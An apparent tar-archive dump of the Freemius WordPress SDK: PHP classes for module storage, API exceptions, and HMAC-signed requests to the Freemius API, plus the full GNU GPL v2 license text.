$modules FS_Plugin[] */ foreach ( $modules as $module ) { $found_module = false; /** * If module ID is not numeric, it must be a plugin's slug. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( ! is_numeric( $this->_module_id ) ) { if ( $this->_module_id === $module->slug ) { $this->_module_id = $module->id; $found_module = true; } } else if ( $this->_module_id == $module->id ) { $found_module = true; } if ( $found_module ) { $this->_module = $module; break; } } } } /** * Store plugin on local DB. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param bool|FS_Plugin $module * @param bool $flush * * @return bool|\FS_Plugin */ function store( $module = false, $flush = true ) { if ( false !== $module ) { $this->_module = $module; } $all_modules = $this->get_all_modules( $this->_module->type ); $all_modules[ $this->_module->slug ] = $this->_module; $options_manager = $this->get_option_manager(); $options_manager->set_option( $this->_module->type . 's', $all_modules, $flush ); return $this->_module; } /** * Update local plugin data if different. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param \FS_Plugin $plugin * @param bool $store * * @return bool True if plugin was updated. */ function update( FS_Plugin $plugin, $store = true ) { if ( ! ($this->_module instanceof FS_Plugin ) || $this->_module->slug != $plugin->slug || $this->_module->public_key != $plugin->public_key || $this->_module->secret_key != $plugin->secret_key || $this->_module->parent_plugin_id != $plugin->parent_plugin_id || $this->_module->title != $plugin->title ) { $this->store( $plugin, $store ); return true; } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param FS_Plugin $plugin * @param bool $store */ function set( FS_Plugin $plugin, $store = false ) { $this->_module = $plugin; if ( $store ) { $this->store(); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool|\FS_Plugin */ function get() { if ( isset( $this->_module ) ) { return $this->_module; } if ( empty( $this->_module_id ) ) { return false; } /** * Return an FS_Plugin entity that has its `id` and `is_live` properties set (`is_live` is initialized in the FS_Plugin constructor) to avoid triggering an error that is relevant to these properties when the FS_Plugin entity is used before the `parse_settings()` method is called. This can happen when creating a regular WordPress site by cloning a subsite of a multisite network and the data that is stored in the network-level storage is not cloned. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ $plugin = new FS_Plugin(); $plugin->id = $this->_module_id; return $plugin; } }vendor/freemius/includes/sdk/Exceptions/index.php000064400000000127147600365160016220 0ustar00_result = $result; $code = 0; $message = 'Unknown error, please check GetResult().'; $type = ''; if ( isset( $result['error'] ) && is_array( $result['error'] ) ) { if ( isset( $result['error']['code'] ) ) { $code = $result['error']['code']; } if ( isset( $result['error']['message'] ) ) { $message = $result['error']['message']; } if ( isset( $result['error']['type'] ) ) { $type = $result['error']['type']; } } $this->_type = $type; $this->_code = $code; parent::__construct( $message, is_numeric( $code ) ? $code : 0 ); } /** * Return the associated result object returned by the API server. * * @return array The result from the API server */ public function getResult() { return $this->_result; } public function getStringCode() { return $this->_code; } public function getType() { return $this->_type; } /** * To make debugging easier. * * @return string The string representation of the error */ public function __toString() { $str = $this->getType() . ': '; if ( $this->code != 0 ) { $str .= $this->getStringCode() . ': '; } return $str . $this->getMessage(); } } } vendor/freemius/includes/sdk/Exceptions/OAuthException.php000064400000000535147600365160020013 0ustar00 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. vendor/freemius/includes/sdk/FreemiusBase.php000064400000020103147600365160015336 0ustar00_id = $pID; $this->_public = $pPublic; $this->_secret = $pSecret; $this->_scope = $pScope; $this->_isSandbox = $pIsSandbox; } public function IsSandbox() { return $this->_isSandbox; } function CanonizePath( $pPath ) { $pPath = trim( $pPath, '/' ); $query_pos = strpos( $pPath, '?' ); $query = ''; if ( false !== $query_pos ) { $query = substr( $pPath, $query_pos ); $pPath = substr( $pPath, 0, $query_pos ); } // Trim '.json' suffix. $format_length = strlen( '.' . self::FORMAT ); $start = $format_length * ( - 1 ); //negative if ( substr( strtolower( $pPath ), $start ) === ( '.' . self::FORMAT ) ) { $pPath = substr( $pPath, 0, strlen( $pPath ) - $format_length ); } switch ( $this->_scope ) { case 'app': $base = '/apps/' . $this->_id; break; case 'developer': $base = '/developers/' . $this->_id; break; case 'user': $base = '/users/' . $this->_id; break; case 'plugin': $base = '/plugins/' . $this->_id; break; case 'install': $base = '/installs/' . $this->_id; break; default: throw new Freemius_Exception( 'Scope not implemented.' ); } return '/v' . FS_API__VERSION . $base . ( ! empty( $pPath ) ? '/' : '' ) . $pPath . ( ( false === strpos( $pPath, '.' ) ) ? '.' . self::FORMAT : '' ) . $query; } abstract function MakeRequest( $pCanonizedPath, $pMethod = 'GET', $pParams = array() ); /** * @param string $pPath * @param string $pMethod * @param array $pParams * * @return object[]|object|null */ private function _Api( $pPath, $pMethod = 'GET', $pParams = array() ) { $pMethod = strtoupper( $pMethod ); try { $result = $this->MakeRequest( $pPath, $pMethod, $pParams ); } catch ( Freemius_Exception $e ) { // Map to error object. $result = (object) $e->getResult(); } catch ( Exception $e ) { // Map to error object. $result = (object) array( 'error' => (object) array( 'type' => 'Unknown', 'message' => $e->getMessage() . ' (' . $e->getFile() . ': ' . $e->getLine() . ')', 'code' => 'unknown', 'http' => 402 ) ); } return $result; } public function Api( $pPath, $pMethod = 'GET', $pParams = array() ) { return $this->_Api( $this->CanonizePath( $pPath ), $pMethod, $pParams ); } /** * Base64 decoding that does not need to be urldecode()-ed. * * Exactly the same as PHP base64 encode except it uses * `-` instead of `+` * `_` instead of `/` * No padded = * * @param string $input Base64UrlEncoded() string * * @return string */ protected static function Base64UrlDecode( $input ) { /** * IMPORTANT NOTE: * This is a hack suggested by @otto42 and @greenshady from * the theme's review team. The usage of base64 for API * signature encoding was approved in a Slack meeting * held on Tue (10/25 2016). * * @todo Remove this hack once the base64 error is removed from the Theme Check. * * @since 1.2.2 * @author Vova Feldman (@svovaf) */ $fn = 'base64' . '_decode'; return $fn( strtr( $input, '-_', '+/' ) ); } /** * Base64 encoding that does not need to be urlencode()ed. * * Exactly the same as base64 encode except it uses * `-` instead of `+ * `_` instead of `/` * * @param string $input string * * @return string Base64 encoded string */ protected static function Base64UrlEncode( $input ) { /** * IMPORTANT NOTE: * This is a hack suggested by @otto42 and @greenshady from * the theme's review team. The usage of base64 for API * signature encoding was approved in a Slack meeting * held on Tue (10/25 2016). * * @todo Remove this hack once the base64 error is removed from the Theme Check. * * @since 1.2.2 * @author Vova Feldman (@svovaf) */ $fn = 'base64' . '_encode'; $str = strtr( $fn( $input ), '+/', '-_' ); $str = str_replace( '=', '', $str ); return $str; } } }vendor/freemius/includes/sdk/index.php000064400000000127147600365160014077 0ustar00 '7.37' ); if ( ! defined( 'FS_API__PROTOCOL' ) ) { define( 'FS_API__PROTOCOL', version_compare( $curl_version['version'], '7.37', '>=' ) ? 'https' : 'http' ); } if ( ! defined( 'FS_API__LOGGER_ON' ) ) { define( 'FS_API__LOGGER_ON', false ); } if ( ! defined( 'FS_API__ADDRESS' ) ) { define( 'FS_API__ADDRESS', '://api.freemius.com' ); } if ( ! defined( 'FS_API__SANDBOX_ADDRESS' ) ) { define( 'FS_API__SANDBOX_ADDRESS', '://sandbox-api.freemius.com' ); } if ( ! class_exists( 'Freemius_Api_WordPress' ) ) { class Freemius_Api_WordPress extends Freemius_Api_Base { private static $_logger = array(); /** * @param string $pScope 'app', 'developer', 'user' or 'install'. * @param number $pID Element's id. * @param string $pPublic Public key. * @param string|bool $pSecret Element's secret key. * @param bool $pSandbox Whether or not to run API in sandbox mode. */ public function __construct( $pScope, $pID, $pPublic, $pSecret = false, $pSandbox = false ) { // If secret key not provided, use public key encryption. if ( is_bool( $pSecret ) ) { $pSecret = $pPublic; } parent::Init( $pScope, $pID, $pPublic, $pSecret, $pSandbox ); } public static function GetUrl( $pCanonizedPath = '', $pIsSandbox = false ) { $address = ( $pIsSandbox ? FS_API__SANDBOX_ADDRESS : FS_API__ADDRESS ); if ( ':' === $address[0] ) { $address = self::$_protocol . $address; } return $address . $pCanonizedPath; } #---------------------------------------------------------------------------------- #region Servers Clock Diff #---------------------------------------------------------------------------------- /** * @var int Clock diff in seconds between current server to API server. */ private static $_clock_diff = 0; /** * Set clock diff for all API calls. * * @since 1.0.3 * * @param $pSeconds */ public static function SetClockDiff( $pSeconds ) { self::$_clock_diff = $pSeconds; } /** * Find clock diff between current server to API server. * * @since 1.0.2 * @return int Clock diff in seconds. */ public static function FindClockDiff() { $time = time(); $pong = self::Ping(); return ( $time - strtotime( $pong->timestamp ) ); } #endregion /** * @var string http or https */ private static $_protocol = FS_API__PROTOCOL; /** * Set API connection protocol. * * @since 1.0.4 */ public static function SetHttp() { self::$_protocol = 'http'; } /** * Sets API connection protocol to HTTPS. * * @since 2.5.4 */ public static function SetHttps() { self::$_protocol = 'https'; } /** * @since 1.0.4 * * @return bool */ public static function IsHttps() { return ( 'https' === self::$_protocol ); } /** * Sign request with the following HTTP headers: * Content-MD5: MD5(HTTP Request body) * Date: Current date (i.e Sat, 14 Feb 2016 20:24:46 +0000) * Authorization: FS {scope_entity_id}:{scope_entity_public_key}:base64encode(sha256(string_to_sign, * {scope_entity_secret_key})) * * @param string $pResourceUrl * @param array $pWPRemoteArgs * * @return array */ function SignRequest( $pResourceUrl, $pWPRemoteArgs ) { $auth = $this->GenerateAuthorizationParams( $pResourceUrl, $pWPRemoteArgs['method'], ! empty( $pWPRemoteArgs['body'] ) ? $pWPRemoteArgs['body'] : '' ); $pWPRemoteArgs['headers']['Date'] = $auth['date']; $pWPRemoteArgs['headers']['Authorization'] = $auth['authorization']; if ( ! empty( $auth['content_md5'] ) ) { $pWPRemoteArgs['headers']['Content-MD5'] = $auth['content_md5']; } return $pWPRemoteArgs; } /** * Generate Authorization request headers: * * Content-MD5: MD5(HTTP Request body) * Date: Current date (i.e Sat, 14 Feb 2016 20:24:46 +0000) * Authorization: FS {scope_entity_id}:{scope_entity_public_key}:base64encode(sha256(string_to_sign, * {scope_entity_secret_key})) * * @author Vova Feldman * * @param string $pResourceUrl * @param string $pMethod * @param string $pPostParams * * @return array * @throws Freemius_Exception */ function GenerateAuthorizationParams( $pResourceUrl, $pMethod = 'GET', $pPostParams = '' ) { $pMethod = strtoupper( $pMethod ); $eol = "\n"; $content_md5 = ''; $content_type = ''; $now = ( time() - self::$_clock_diff ); $date = date( 'r', $now ); if ( in_array( $pMethod, array( 'POST', 'PUT' ) ) ) { $content_type = 'application/json'; if ( ! empty( $pPostParams ) ) { $content_md5 = md5( $pPostParams ); } } $string_to_sign = implode( $eol, array( $pMethod, $content_md5, $content_type, $date, $pResourceUrl ) ); // If secret and public keys are identical, it means that // the signature uses public key hash encoding. $auth_type = ( $this->_secret !== $this->_public ) ? 'FS' : 'FSP'; $auth = array( 'date' => $date, 'authorization' => $auth_type . ' ' . $this->_id . ':' . $this->_public . ':' . self::Base64UrlEncode( hash_hmac( 'sha256', $string_to_sign, $this->_secret ) ) ); if ( ! empty( $content_md5 ) ) { $auth['content_md5'] = $content_md5; } return $auth; } /** * Get API request URL signed via query string. * * @since 1.2.3 Stopped using http_build_query(). Instead, use urlencode(). In some environments the encoding of http_build_query() can generate a URL that once used with a redirect, the `&` querystring separator is escaped to `&` which breaks the URL (Added by @svovaf). * * @param string $pPath * * @throws Freemius_Exception * * @return string */ function GetSignedUrl( $pPath ) { $resource = explode( '?', $this->CanonizePath( $pPath ) ); $pResourceUrl = $resource[0]; $auth = $this->GenerateAuthorizationParams( $pResourceUrl ); return Freemius_Api_WordPress::GetUrl( $pResourceUrl . '?' . ( 1 < count( $resource ) && ! empty( $resource[1] ) ? $resource[1] . '&' : '' ) . 'authorization=' . urlencode( $auth['authorization'] ) . '&auth_date=' . urlencode( $auth['date'] ) , $this->_isSandbox ); } /** * @author Vova Feldman * * @param string $pUrl * @param array $pWPRemoteArgs * * @return mixed */ private static function ExecuteRequest( $pUrl, &$pWPRemoteArgs ) { $bt = debug_backtrace(); $start = microtime( true ); $response = self::RemoteRequest( $pUrl, $pWPRemoteArgs ); if ( FS_API__LOGGER_ON ) { $end = microtime( true ); $has_body = ( isset( $pWPRemoteArgs['body'] ) && ! empty( $pWPRemoteArgs['body'] ) ); $is_http_error = is_wp_error( $response ); self::$_logger[] = array( 'id' => count( self::$_logger ), 'start' => $start, 'end' => $end, 'total' => ( $end - $start ), 'method' => $pWPRemoteArgs['method'], 'path' => $pUrl, 'body' => $has_body ? $pWPRemoteArgs['body'] : null, 'result' => ! $is_http_error ? $response['body'] : json_encode( $response->get_error_messages() ), 'code' => ! $is_http_error ? $response['response']['code'] : null, 'backtrace' => $bt, ); } return $response; } /** * @author Leo Fajardo (@leorw) * * @param string $pUrl * @param array $pWPRemoteArgs * * @return array|WP_Error The response array or a WP_Error on failure. */ static function RemoteRequest( $pUrl, $pWPRemoteArgs ) { $response = wp_remote_request( $pUrl, $pWPRemoteArgs ); if ( is_array( $response ) && ( empty( $response['headers'] ) || empty( $response['headers']['x-api-server'] ) ) ) { // API is considered blocked if the response doesn't include the `x-api-server` header. When there's no error but this header doesn't exist, the response is usually not in the expected form (e.g., cannot be JSON-decoded). $response = new WP_Error( 'api_blocked', htmlentities( $response['body'] ) ); } return $response; } /** * @return array */ static function GetLogger() { return self::$_logger; } /** * @param string $pCanonizedPath * @param string $pMethod * @param array $pParams * @param null|array $pWPRemoteArgs * @param bool $pIsSandbox * @param null|callable $pBeforeExecutionFunction * * @return object[]|object|null * * @throws \Freemius_Exception */ private static function MakeStaticRequest( $pCanonizedPath, $pMethod = 'GET', $pParams = array(), $pWPRemoteArgs = null, $pIsSandbox = false, $pBeforeExecutionFunction = null ) { // Connectivity errors simulation. if ( FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE ) { self::ThrowCloudFlareDDoSException(); } else if ( FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL ) { self::ThrowSquidAclException(); } if ( empty( $pWPRemoteArgs ) ) { $user_agent = 'Freemius/WordPress-SDK/' . Freemius_Api_Base::VERSION . '; ' . home_url(); $pWPRemoteArgs = array( 'method' => strtoupper( $pMethod ), 'connect_timeout' => 10, 'timeout' => 60, 'follow_redirects' => true, 'redirection' => 5, 'user-agent' => $user_agent, 'blocking' => true, ); } if ( ! isset( $pWPRemoteArgs['headers'] ) || ! is_array( $pWPRemoteArgs['headers'] ) ) { $pWPRemoteArgs['headers'] = array(); } if ( in_array( $pMethod, array( 'POST', 'PUT' ) ) ) { $pWPRemoteArgs['headers']['Content-type'] = 'application/json'; if ( is_array( $pParams ) && 0 < count( $pParams ) ) { $pWPRemoteArgs['body'] = json_encode( $pParams ); } } $request_url = self::GetUrl( $pCanonizedPath, $pIsSandbox ); $resource = explode( '?', $pCanonizedPath ); if ( FS_SDK__HAS_CURL ) { // Disable the 'Expect: 100-continue' behaviour. This causes cURL to wait // for 2 seconds if the server does not support this header. $pWPRemoteArgs['headers']['Expect'] = ''; } if ( 'https' === substr( strtolower( $request_url ), 0, 5 ) ) { $pWPRemoteArgs['sslverify'] = FS_SDK__SSLVERIFY; } if ( false !== $pBeforeExecutionFunction && is_callable( $pBeforeExecutionFunction ) ) { $pWPRemoteArgs = call_user_func( $pBeforeExecutionFunction, $resource[0], $pWPRemoteArgs ); } $result = self::ExecuteRequest( $request_url, $pWPRemoteArgs ); if ( is_wp_error( $result ) ) { /** * @var WP_Error $result */ if ( self::IsCurlError( $result ) ) { /** * With dual stacked DNS responses, it's possible for a server to * have IPv6 enabled but not have IPv6 connectivity. If this is * the case, cURL will try IPv4 first and if that fails, then it will * fall back to IPv6 and the error EHOSTUNREACH is returned by the * operating system. */ $matches = array(); $regex = '/Failed to connect to ([^:].*): Network is unreachable/'; if ( preg_match( $regex, $result->get_error_message( 'http_request_failed' ), $matches ) ) { /** * Validate IP before calling `inet_pton()` to avoid PHP un-catchable warning. * @author Vova Feldman (@svovaf) */ if ( filter_var( $matches[1], FILTER_VALIDATE_IP ) ) { if ( strlen( inet_pton( $matches[1] ) ) === 16 ) { /** * error_log('Invalid IPv6 configuration on server, Please disable or get native IPv6 on your server.'); * Hook to an action triggered just before cURL is executed to resolve the IP version to v4. * * @phpstan-ignore-next-line */ add_action( 'http_api_curl', 'Freemius_Api_WordPress::CurlResolveToIPv4', 10, 1 ); // Re-run request. $result = self::ExecuteRequest( $request_url, $pWPRemoteArgs ); } } } } if ( is_wp_error( $result ) ) { self::ThrowWPRemoteException( $result ); } } $response_body = $result['body']; if ( empty( $response_body ) ) { return null; } $decoded = json_decode( $response_body ); if ( is_null( $decoded ) ) { if ( preg_match( '/Please turn JavaScript on/i', $response_body ) && preg_match( '/text\/javascript/', $response_body ) ) { self::ThrowCloudFlareDDoSException( $response_body ); } else if ( preg_match( '/Access control configuration prevents your request from being allowed at this time. Please contact your service provider if you feel this is incorrect./', $response_body ) && preg_match( '/squid/', $response_body ) ) { self::ThrowSquidAclException( $response_body ); } else { $decoded = (object) array( 'error' => (object) array( 'type' => 'Unknown', 'message' => $response_body, 'code' => 'unknown', 'http' => 402 ) ); } } return $decoded; } /** * Makes an HTTP request. This method can be overridden by subclasses if * developers want to do fancier things or use something other than wp_remote_request() * to make the request. * * @param string $pCanonizedPath The URL to make the request to * @param string $pMethod HTTP method * @param array $pParams The parameters to use for the POST body * @param null|array $pWPRemoteArgs wp_remote_request options. * * @return object[]|object|null * * @throws Freemius_Exception */ public function MakeRequest( $pCanonizedPath, $pMethod = 'GET', $pParams = array(), $pWPRemoteArgs = null ) { $resource = explode( '?', $pCanonizedPath ); // Only sign request if not ping.json connectivity test. $sign_request = ( '/v1/ping.json' !== strtolower( substr( $resource[0], - strlen( '/v1/ping.json' ) ) ) ); return self::MakeStaticRequest( $pCanonizedPath, $pMethod, $pParams, $pWPRemoteArgs, $this->_isSandbox, $sign_request ? array( &$this, 'SignRequest' ) : null ); } /** * Sets CURLOPT_IPRESOLVE to CURL_IPRESOLVE_V4 for cURL-Handle provided as parameter * * @param resource $handle A cURL handle returned by curl_init() * * @return resource $handle A cURL handle returned by curl_init() with CURLOPT_IPRESOLVE set to * CURL_IPRESOLVE_V4 * * @link https://gist.github.com/golderweb/3a2aaec2d56125cc004e */ static function CurlResolveToIPv4( $handle ) { curl_setopt( $handle, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 ); return $handle; } #---------------------------------------------------------------------------------- #region Connectivity Test #---------------------------------------------------------------------------------- /** * This method exists only for backward compatibility to prevent a fatal error from happening when called from an outdated piece of code. * * @param mixed $pPong * * @return bool */ public static function Test( $pPong = null ) { return ( is_object( $pPong ) && isset( $pPong->api ) && 'pong' === $pPong->api ); } /** * Ping API to test connectivity. * * @return object */ public static function Ping() { try { $result = self::MakeStaticRequest( '/v' . FS_API__VERSION . '/ping.json' ); } catch ( Freemius_Exception $e ) { // Map to error object. $result = (object) $e->getResult(); } catch ( Exception $e ) { // Map to error object. $result = (object) array( 'error' => (object) array( 'type' => 'Unknown', 'message' => $e->getMessage() . ' (' . $e->getFile() . ': ' . $e->getLine() . ')', 'code' => 'unknown', 'http' => 402 ) ); } return $result; } #endregion #---------------------------------------------------------------------------------- #region Connectivity Exceptions #---------------------------------------------------------------------------------- /** * @param \WP_Error $pError * * @return bool */ private static function IsCurlError( WP_Error $pError ) { $message = $pError->get_error_message( 'http_request_failed' ); return ( 0 === 